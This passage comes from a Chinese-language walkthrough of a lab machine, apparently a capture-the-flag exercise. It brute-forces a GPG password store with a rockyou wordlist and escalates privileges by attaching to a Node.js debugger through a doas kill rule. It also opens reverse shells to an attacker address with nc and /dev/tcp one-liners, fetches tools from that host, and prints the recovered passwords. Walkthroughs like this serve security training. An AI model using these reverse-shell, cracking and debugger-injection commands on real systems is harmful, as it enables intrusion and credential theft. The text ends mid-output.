secret &lt;lenam@solar.htb&gt;\nsub   rsa3072 2024-08-29 [E]\n      Keygrip = C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95\n\nlenam@solar:~\/.gnupg$ gpg -K --with-keygrip\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\n\/home\/lenam\/.gnupg\/pubring.kbx\n------------------------------\nsec   rsa3072 2024-08-29 [SC]\n      E6DB2B029F01725397A555CD6CE6C909C038D50C\n      Keygrip = 18DB29FBB15652340964CF0E1C710F34AA848ADD\nuid           [ultimate] secret &lt;lenam@solar.htb&gt;\nssb   rsa3072 2024-08-29 [E]\n      Keygrip = C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95<\/code><\/pre>\n<ul>\n<li>\n<p><code>pub<\/code>\uff1a\u8868\u793a\u8fd9\u662f\u4e00\u4e2a<strong>\u4e3b\u516c\u94a5<\/strong>\uff08public key\uff09\u3002<\/p>\n<\/li>\n<li>\n<p><code>rsa3072<\/code>\uff1a\u5bc6\u94a5\u7b97\u6cd5\u4e3a RSA\uff0c\u957f\u5ea6\u4e3a 3072 \u4f4d\u3002<\/p>\n<\/li>\n<li>\n<p><code>2024-08-29<\/code>\uff1a\u5bc6\u94a5\u7684\u521b\u5efa\u65e5\u671f\u3002<\/p>\n<\/li>\n<li>\n<p><code>[SC]<\/code>\uff1a\u5bc6\u94a5\u7684\u80fd\u529b\uff08usage flags\uff09\uff1a<\/p>\n<ul>\n<li><code>S<\/code> = \u53ef\u7528\u4e8e <strong>\u7b7e\u540d<\/strong>\uff08Sign\uff09<\/li>\n<li><code>C<\/code> = \u53ef\u7528\u4e8e <strong>\u8ba4\u8bc1\/\u8bc1\u4e66<\/strong>\uff08Certify\uff09\u2014\u2014\u5373\u53ef\u4ee5\u7b7e\u53d1\u5176\u4ed6\u5b50\u5bc6\u94a5\u6216\u7528\u6237 ID<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><code>E6DB2B029F01725397A555CD6CE6C909C038D50C<\/code>\u662f\u8be5\u4e3b\u516c\u94a5\u7684 <strong>\u5b8c\u6574\u6307\u7eb9<\/strong>\uff0840 \u4e2a\u5341\u516d\u8fdb\u5236\u5b57\u7b26\uff09\uff0c\u7528\u4e8e\u552f\u4e00\u6807\u8bc6\u6b64\u5bc6\u94a5\u3002<\/p>\n<\/li>\n<li>\n<p><code>uid<\/code>\uff1a\u7528\u6237\u8eab\u4efd\u4fe1\u606f\u3002<\/p>\n<\/li>\n<li>\n<p><code>secret &lt;lenam@solar.htb&gt;<\/code>\uff1a\u540d\u5b57\u4e3a <code>secret<\/code>\uff0c\u90ae\u7bb1\u4e3a <code>lenam@solar.htb<\/code>\u3002<\/p>\n<\/li>\n<li>\n<p><code>[ultimate]<\/code>\uff1a\u8868\u793a\u5f53\u524d GPG \u7528\u6237<strong>\u5b8c\u5168\u4fe1\u4efb<\/strong>\u8fd9\u4e2a\u5bc6\u94a5\u7684\u6240\u6709\u6743\uff08\u672c\u5730\u751f\u6210\u5bc6\u94a5\uff09\u3002<\/p>\n<\/li>\n<\/ul>\n<p><code>-k<\/code>\u548c<code>-K<\/code>\u5206\u522b\u662f\u67e5\u770b\u516c\u94a5\u548c\u79c1\u94a5\u7684\u9009\u9879\u3002<\/p>\n<p>\u6ce8\u610f\u5230<code>note.txt<\/code>\u7684\u5185\u5bb9\uff0c\u5bc6\u7801\u53ef\u80fd\u662f\u5728\u8fd9\u91cc\u8d77\u4f5c\u7528\u7684\uff0c\u5c1d\u8bd5\u83b7\u53d6\u5b57\u5178\u8fdb\u884c\u5c1d\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ grep &quot;^love.*[0-9]$&quot;  \/usr\/share\/wordlists\/rockyou.txt &gt; pass<\/code><\/pre>\n<p>\u7136\u540e\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:\/tmp$ pass\nPassword Store\n\u251c\u2500\u2500 personal\n\u2502   \u251c\u2500\u2500 private_id\n\u2502   \u2514\u2500\u2500 user\n\u2514\u2500\u2500 work\n    \u2514\u2500\u2500 office\nlenam@solar:~$ ls -la\ntotal 52\ndrwxr-xr-x 6 lenam lenam 4096 Sep  4  2024 .\ndrwxr-xr-x 4 root  root  4096 Aug 28  2024 ..\nlrwxrwxrwx 1 root  root     9 Jun 10  2024 .bash_history -&gt; \/dev\/null\n-rw-rw---- 1 lenam lenam  220 Jun 10  2024 .bash_logout\n-rw-rw---- 1 lenam lenam 3578 Aug 28  2024 .bashrc\ndrwxrwx--x 4 lenam lenam 4096 Jan  3 00:10 .gnupg\nlrwxrwxrwx 1 lenam lenam    9 Aug 29  2024 .lesshst -&gt; \/dev\/null\ndrwxrwx--x 3 lenam lenam 4096 Jul 13  2024 .local\nlrwxrwxrwx 1 root  root     9 Jun 28  2024 .mysql_history -&gt; \/dev\/null\n-rw-rw---- 1 lenam lenam   48 Aug 28  2024 .nanorc\n-rw-rw---- 1 lenam lenam    9 Sep  4  2024 .node_repl_history\n-rw-rw---- 1 root  lenam   80 Sep  4  2024 note.txt\ndrwxrwx--x 4 lenam lenam 4096 Aug 29  2024 .password-store\n-rw-rw---- 1 lenam lenam  807 Jun 10  2024 .profile\ndrwxrwx--x 2 lenam lenam 4096 Aug 27  2024 .ssh\n-rw-rw---- 1 root  lenam   33 Jul 13  2024 user.txt\nlenam@solar:~$ cd .password-store\/\nlenam@solar:~\/.password-store$ ls -la\ntotal 20\ndrwxrwx--x 4 lenam lenam 4096 Aug 29  2024 .\ndrwxr-xr-x 6 lenam lenam 4096 Sep  4  2024 ..\n-rw-rw---- 1 lenam lenam    7 Aug 29  2024 .gpg-id\ndrwxrwx--x 2 lenam lenam 4096 Aug 29  2024 personal\ndrwxrwx--x 2 lenam lenam 4096 Aug 29  2024 work\nlenam@solar:~\/.password-store$ cat .gpg-id \nsecret\nlenam@solar:~\/.password-store$ tree .\/\n.\/\n\u251c\u2500\u2500 personal\n\u2502   \u251c\u2500\u2500 private_id.gpg\n\u2502   \u2514\u2500\u2500 user.gpg\n\u2514\u2500\u2500 work\n    \u2514\u2500\u2500 office.gpg\n\n3 directories, 3 files\nlenam@solar:\/tmp$ while IFS= read -r p; do echo &quot;$p&quot; | gpg --batch --pinentry-mode loopback --passphrase-fd 0 --decrypt ~\/.password-store\/work\/office.gpg 2&gt;\/dev\/null &amp;&amp; echo -e &quot;\\n[+] Password is: $p&quot; &amp;&amp; break; done &lt; pass\nd1NpIh1bCKMx\n\n[+] Password is: loverboy1<\/code><\/pre>\n<ul>\n<li><code>--batch --pinentry-mode loopback<\/code> \u7981\u6b62\u5f39\u7a97\uff0c\u5141\u8bb8\u4ece stdin \u8bfb\u5bc6\u7801<\/li>\n<li><code>--passphrase-fd 0<\/code>  \u4ece\u6587\u4ef6\u63cf\u8ff0\u7b26 0\uff08\u5373 stdin\uff09\u8bfb\u53d6\u5bc6\u7801<\/li>\n<\/ul>\n<p>\u4e8e\u662f\u627e\u5230\u4e86\u5bc6\u7801<code>loverboy1<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u89e3\u5bc6\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~$ pass personal\/private_id\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\nCzMO48xpwof8nvQ6JUhF\nlenam@solar:~$ pass personal\/user\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\nqiFQI7buDp7zIQnAymEY\nlenam@solar:~$ pass work\/office\ngpg: WARNING: unsafe permissions on homedir &#039;\/home\/lenam\/.gnupg&#039;\nd1NpIh1bCKMx<\/code><\/pre>\n<p>\u5f97\u5230\u4e86\u4e09\u4e2a\u5bc6\u7801\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>su<\/code>\u8fdb\u884c\u5207\u6362\uff0c\u53d1\u73b0\u7b2c\u4e8c\u4e2a\u6b63\u786e\uff0c\u6ca1\u6709\u62a5\u9519\u5c31\u662f\u5bf9\u7684\u3002<\/p>\n<p>\u6709\u4e86\u5bc6\u7801\u54b1\u4eec\u5c31\u53ef\u4ee5\u6309\u7167\u524d\u9762\u7684\u4fe1\u606f\u63a5\u7740\u8fdb\u884c\u64cd\u4f5c\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~$ cat \/etc\/doas.conf \npermit nopass www-data as lenam cmd \/usr\/bin\/mosquitto_pub\npermit lenam as julian cmd \/bin\/kill\npermit setenv { PATH } julian as root cmd \/usr\/local\/bin\/backups<\/code><\/pre>\n<p>\u76d1\u542c\u4e00\u4e0b\u8fdb\u7a0b\u5427\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~$ cd \/tmp\nlenam@solar:\/tmp$ curl -s http:\/\/192.168.1.12:2345\/pspy64 -o pspy64\nlenam@solar:\/tmp$ chmod +x pspy64\nlenam@solar:.\/pspy64<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\u6709\u54ea\u4e9b\u8fdb\u7a0b\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~$ ps aux | grep julian\njulian     14634  1.6  4.3 1058380 87464 ?       Ssl  00:19   0:01 \/home\/julian\/.nvm\/versions\/node\/v22.7.0\/bin\/node \/home\/julian\/.local\/bin\/demoadm\/login.js\njulian     14645  6.5  8.9 34149476 180084 ?     Ssl  00:19   0:06 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-hang-monitor --disable-infobars --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-search-engine-choice-screen --disable-sync --enable-automation --export-tagged-pdf --generate-pdf-document-outline --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --disable-features=Translate,AcceptCHFrame,MediaRouter,OptimizationHints,ProcessPerSiteUpToMainFrameThreshold,IsolateSandboxedIframes --enable-features=PdfOopif --headless=new --hide-scrollbars --mute-audio about:blank --ignore-certificate-errors --remote-debugging-port=47000 --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP\njulian     14647  0.0  0.1 33567336 3236 ?       Sl   00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome_crashpad_handler --monitor-self --monitor-self-annotation=ptype=crashpad-handler --database=\/home\/julian\/.config\/google-chrome-for-testing\/Crash Reports --annotation=lsb-release=Debian GNU\/Linux 12 (bookworm) --annotation=plat=Linux --annotation=prod=Chrome_Linux --annotation=ver=126.0.6478.126 --initial-client-fd=5 --shared-client-connection\njulian     14649  0.0  0.0 33559124 1564 ?       S    00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome_crashpad_handler --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler --database=\/home\/julian\/.config\/google-chrome-for-testing\/Crash Reports --annotation=lsb-release=Debian GNU\/Linux 12 (bookworm) --annotation=plat=Linux --annotation=prod=Chrome_Linux --annotation=ver=126.0.6478.126 --initial-client-fd=4 --shared-client-connection\njulian     14653  0.0  2.9 33927396 58440 ?      S    00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=zygote --no-zygote-sandbox --headless=new --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --no-first-run --ozone-platform=headless --ozone-override-screen-size=800,600 --use-angle=swiftshader-webgl\njulian     14654  0.0  2.8 33927384 58384 ?      S    00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=zygote --headless=new --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --no-first-run --ozone-platform=headless --ozone-override-screen-size=800,600 --use-angle=swiftshader-webgl\njulian     14656  0.0  0.8 33927408 16620 ?      S    00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=zygote --headless=new --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --no-first-run --ozone-platform=headless --ozone-override-screen-size=800,600 --use-angle=swiftshader-webgl\njulian     14678  7.3  4.4 34041992 89320 ?      Sl   00:19   0:07 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=gpu-process --disable-dev-shm-usage --disable-breakpad --headless=new --ozone-platform=headless --use-angle=swiftshader-webgl --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAIAAAA4AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --shared-files\njulian     14679  1.5  5.0 33986352 102080 ?     Sl   00:19   0:01 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=network --disable-dev-shm-usage --ignore-certificate-errors --use-angle=swiftshader-webgl --mute-audio --ignore-certificate-errors --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --shared-files=network_parent_dirs_pipe:100,v8_context_snapshot_data:101 --metrics-shmem-handle=4,i,6268977581684231878,16912865826517698548,524288 --field-trial-handle=3,i,14569300015784785847,5325501069636413311,262144 --enable-features=PdfOopif --disable-features=AcceptCHFrame,IsolateSandboxedIframes,MediaRouter,OptimizationHints,PaintHolding,ProcessPerSiteUpToMainFrameThreshold,Translate --variations-seed-version\njulian     14684  0.0  2.5 33977624 50536 ?      Sl   00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --disable-dev-shm-usage --ignore-certificate-errors --use-angle=swiftshader-webgl --mute-audio --ignore-certificate-errors --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --shared-files=v8_context_snapshot_data:100 --metrics-shmem-handle=4,i,14524669544038314329,1659652255112505\njulian     14705  0.1  0.8 33928168 17312 ?      S    00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=broker\njulian     14713 34.0 10.9 1188808392 221532 ?   Sl   00:19   0:33 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=renderer --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --disable-dev-shm-usage --disable-background-timer-throttling --disable-breakpad --enable-automation --force-color-profile=srgb --remote-debugging-port=47000 --allow-pre-commit-input --ozone-platform=headless --lang=en-US --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1767414432395353 --launch-\njulian     14720  0.0  4.7 1186864688 94824 ?    Sl   00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=renderer --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --disable-dev-shm-usage --disable-background-timer-throttling --disable-breakpad --enable-automation --force-color-profile=srgb --remote-debugging-port=47000 --allow-pre-commit-input --ozone-platform=headless --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1767414432395353 --launch-\njulian     14736  0.0  3.0 1186839968 61696 ?    Sl   00:19   0:00 \/home\/julian\/.cache\/puppeteer\/chrome\/linux-126.0.6478.126\/chrome-linux64\/chrome --type=renderer --crashpad-handler-pid=14647 --enable-crash-reporter=, --noerrdialogs --user-data-dir=\/tmp\/puppeteer_dev_chrome_profile-JhrAVP --change-stack-guard-on-fork=enable --disable-dev-shm-usage --disable-background-timer-throttling --disable-breakpad --enable-automation --force-color-profile=srgb --remote-debugging-port=47000 --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-\nlenam      15058  0.0  0.1   8864  2108 pts\/0    S+   00:20   0:00 grep julian<\/code><\/pre>\n<p>\u53d1\u73b0<code>julian<\/code>\u8fd0\u884c\u4e86<code>node<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~$ ps aux | grep julian | grep node\njulian     18703  4.8  3.9 1054060 79572 ?       Ssl  00:38   0:00 \/home\/julian\/.nvm\/versions\/node\/v22.7.0\/bin\/node \/home\/julian\/.local\/bin\/demoadm\/login.js\nlenam@solar:~$ ls -la \/home\/julian\/.nvm\/versions\/node\/v22.7.0\/bin\/node\n-rwxrwx--x 1 julian julian 116859992 Aug 21  2024 \/home\/julian\/.nvm\/versions\/node\/v22.7.0\/bin\/node\nlenam@solar:~$ ls -la \/home\/julian\/.local\/bin\/demoadm\/login.js\n-rwxrwx--x 1 julian julian 1567 Oct  9  2024 \/home\/julian\/.local\/bin\/demoadm\/login.js<\/code><\/pre>\n<p>\u53d1\u73b0\u6709\u6267\u884c\u6743\u9650\uff0c\u4f46\u662f\u6ca1\u6709\u8bfb\u7684\u6743\u9650\uff0c\u4e14<code>PID<\/code>\u5728\u53d8\u5316\uff0c\u610f\u8bc6\u5230\u8fdb\u7a0b\u7684\u4e3b\u4eba\u662f<code>julian<\/code>\uff0c\u6545\u53ef\u4ee5\u5c1d\u8bd5 kill \u8fdb\u7a0b\uff0c\u7136\u540e\u8fdb\u5165\u8c03\u8bd5\u53f0\u8fdb\u884c debug \u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u53cd\u5f39 shell\uff0c\u8fd9\u6837debug\u7ee7\u627f\u7684\u662f\u8fdb\u7a0b\u7684\u4e3b\u4eba\u5373<code>julian<\/code>\u7684\u6743\u9650\uff0c\u5f39\u8fc7\u6765\u7684shell\u4e5f\u662f<code>julian<\/code>\u7684\uff01\uff01\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459520.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459520.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103135230695\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459521.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459521.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103134732581\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u53cd\u5f39\uff1a<\/p>\n<pre><code class=\"language-bash\">PID=$(ps aux | grep julian | grep node | awk &#039;{print $2}&#039;); doas -u julian \/bin\/kill -s SIGUSR1 $PID; \/home\/julian\/.nvm\/versions\/node\/v22.7.0\/bin\/node inspect 127.0.0.1:9229<\/code><\/pre>\n<p>\u8f93\u5165\u5bc6\u7801<code>qiFQI7buDp7zIQnAymEY<\/code>\uff0c\u7136\u540e\u8fdb\u5165\u8c03\u8bd5\uff1a\u4f7f\u7528\u9884\u6784\u597d\u7684 js \u8fdb\u884c\u6267\u884c\u547d\u4ee4\u53cd\u5f39shell\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-bash\">exec(&quot;global.process.mainModule.require(&#039;child_process&#039;).exec(&#039;nc -e \/bin\/bash 192.168.1.12 2345&#039;)&quot;)<\/code><\/pre>\n<p>\u5728 Node.js \u8c03\u8bd5\u5668\uff08<code>node inspect<\/code>\uff09\u4e2d\uff0c<strong>\u4e0d\u80fd\u76f4\u63a5\u6267\u884c\u4efb\u610f JavaScript \u8868\u8fbe\u5f0f<\/strong>\uff08\u6bd4\u5982 <code>require(...)<\/code>\uff09\uff0c\u56e0\u4e3a\u8c03\u8bd5\u5668\u7684 <code>exec()<\/code> \u547d\u4ee4\u6709\u7279\u6b8a\u9650\u5236\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7 <strong><code>repl<\/code> \u6a21\u5f0f<\/strong> \u6216 <strong>\u6ce8\u5165\u4ee3\u7801\u5230\u76ee\u6807\u8fdb\u7a0b\u4e0a\u4e0b\u6587<\/strong> \u6765\u5b9e\u73b0\u3002<\/p>\n<pre><code class=\"language-bash\">debug&gt; exec(&quot;global.process.mainModule.require(&#039;child_process&#039;).exec(&#039;nc -e \/bin\/bash 192.168.1.12 2345&#039;)&quot;)\n{ _events: Object,\n  _eventsCount: 2,\n  _maxListeners: &#039;undefined&#039;,\n  _closesNeeded: 3,\n  _closesGot: 0,\n  ... }<\/code><\/pre>\n<p>\u4f46\u662f\u6ca1\u6709\u5f39\u56de\u6765\uff0c\u6362\u4e00\u4e2a\uff1a<\/p>\n<pre><code class=\"language-bash\">lenam@solar:~$ PID=$(ps aux | grep julian | grep node | awk &#039;{print $2}&#039;); doas -u julian \/bin\/kill -s SIGUSR1 $PID; \/home\/julian\/.nvm\/versions\/node\/v22.7.0\/bin\/node inspect 127.0.0.1:9229\ndoas (lenam@solar) password: \nconnecting to 127.0.0.1:9229 ... ok\ndebug&gt; exec(&quot;global.process.mainModule.require(&#039;child_process&#039;).exec(&#039;\/bin\/bash -c \\&quot;\/bin\/bash -i &gt;&amp; \/dev\/tcp\/192.168.1.12\/2345 0&gt;&amp;1\\&quot;&#039;)&quot;)\n{ _events: Object,\n  _eventsCount: 2,\n  _maxListeners: &#039;undefined&#039;,\n  _closesNeeded: 3,\n  _closesGot: 0,\n  ... }<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459522.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459522.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103140659981\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<h3>\u52ab\u6301\u73af\u5883\u53d8\u91cf\u63d0\u6743root<\/h3>\n<pre><code class=\"language-bash\">(remote) julian@solar:\/home\/julian$ ls -la\ntotal 436\ndrwxr-xr-x 9 julian julian   4096 Sep  4  2024 .\ndrwxr-xr-x 4 root   root     4096 Aug 28  2024 ..\nlrwxrwxrwx 1 root   root        9 Aug 28  2024 .bash_history -&gt; \/dev\/null\n-rw-rw---- 1 julian julian    220 Apr 23  2023 .bash_logout\n-rw-rw---- 1 julian julian   3526 Apr 23  2023 .bashrc\ndrwxrwx--x 4 julian julian   4096 Aug 28  2024 .cache\ndrwxrwx--x 3 julian julian   4096 Aug 28  2024 .config\ndrwxrwx--x 3 julian julian   4096 Sep  4  2024 .gnupg\n-rw------- 1 julian julian     20 Sep  4  2024 .lesshst\ndrwxrwx--x 4 julian julian   4096 Sep  1  2024 .local\n-rw------- 1 julian julian 386348 Sep  4  2024 my-pass.jpg\nlrwxrwxrwx 1 root   root        9 Aug 28  2024 .mysql_history -&gt; \/dev\/null\n-rw-rw---- 1 julian julian     16 Aug 29  2024 .node_repl_history\ndrwxrwx--x 3 julian julian   4096 Aug 28  2024 .npm\ndrwxrwx--x 5 julian julian   4096 Aug 28  2024 .nvm\ndrwxrwx--x 3 julian julian   4096 Aug 28  2024 .pki\n-rw-rw---- 1 julian julian    904 Sep  4  2024 .profile\n\n(remote) julian@solar:\/home\/julian$ cat \/etc\/doas.conf \npermit nopass www-data as lenam cmd \/usr\/bin\/mosquitto_pub\npermit lenam as julian cmd \/bin\/kill\npermit setenv { PATH } julian as root cmd \/usr\/local\/bin\/backups\n\n(remote) julian@solar:\/home\/julian$ doas -u root \/usr\/local\/bin\/backups\ndoas (julian@solar) password: \ndoas: Authentication failed\n\n(remote) julian@solar:\/home\/julian$ ls -la \/usr\/local\/bin\/backups\n-rwxr-xr-x 1 root root 16528 Oct  9  2024 \/usr\/local\/bin\/backups<\/code><\/pre>\n<p>\u5c06\u56fe\u7247\u4e0b\u8f7d\u4e0b\u6765\u770b\u770b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459523.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459523.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103141009348\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u770b\u4e00\u4e0b\u662f\u5426\u6709\u9690\u5199\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ stegseek -wl \/usr\/share\/wordlists\/rockyou.txt my-pass.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Found passphrase: &quot;teresa&quot;\n[i] Original filename: &quot;note.txt&quot;.\n[i] Extracting to &quot;my-pass.jpg.out&quot;.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ cat my-pass.jpg.out\nPassword 